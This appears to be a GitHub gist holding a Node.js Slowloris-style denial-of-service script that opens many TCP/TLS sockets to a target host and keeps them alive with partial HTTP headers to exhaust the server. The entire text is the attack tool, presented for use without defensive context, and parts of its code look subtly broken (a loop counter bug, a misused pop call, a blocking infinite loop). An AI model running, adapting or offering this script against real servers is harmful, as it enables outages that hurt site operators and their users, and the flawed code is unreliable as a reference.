Low traffic of a host target

September 2, 2019 ยท View on GitHub

'use strict'; const net = require('net'); const tls = require('tls');

let args = process.argv.slice(2); let socketCount = 120;

let listOfSockets = [];

const randomData = (s=0, n=2000) => { let r = parseInt(Math.random() * n); if (r < s) { return randomData(s, n); } return r; };

const createSocket = (host, port) => { let client = null;

if (args.indexOf('https') === -1) { client = net.Socket(); } else if (args.indexOf('https') > -1) { client = tls.TLSSocket(); }

client.setTimeout(4);

client.connect(parseInt(port, 10), host, () => { client.write('GET /?' + randomData() + ' HTTP/1.1\r\n'); });

return client; };

const createSockets = (sc=socketCount) => { for (var i = 0; i < sc + 1; i++) { let s = null;

try {
  if (args.length === 3) {
    s = createSocket(args[0], args[1])
  } else if (args.length === 2) {
    s = createSocket(args[0], args[1]);
  } else if (args.length === 1) {
    s = createSocket(args[0], 80);
  }
  s.setMaxListeners(10000);
} catch (e) {
  break
}

listOfSockets.push(s);

} return listOfSockets; };

const keepAliveSockets = () => { while (true) { try { console.log('Sending keep-alive headers... Socket count: ' + socketCount); for (var i = 0; i < listOfSockets.length; i++) { let s = listOfSockets[i];

    try {
      s.write('X-a: ' + randomData(1, 5000) + '\r\n');
    } catch (e) {
      listOfSockets.pop(i);
    }
  }

  for (var j = 0; j < (socketCount - listOfSockets.length); i++) {
    console.log('Recreating socket...');
    try {
      let s = null;

      if (args.length === 3) {
        s = createSocket(args[0], args[1])
      } else if (args.length === 2) {
        s = createSocket(args[0], args[1]);
      } else if (args.length === 1) {
        s = createSocket(args[0], 80);
      }
      
      s.setMaxListeners(10000);

      listOfSockets.push(s);
    } catch (e) {
      break
    }
  }
} catch (e) {
  break
}

} };

createSockets(); keepAliveSockets();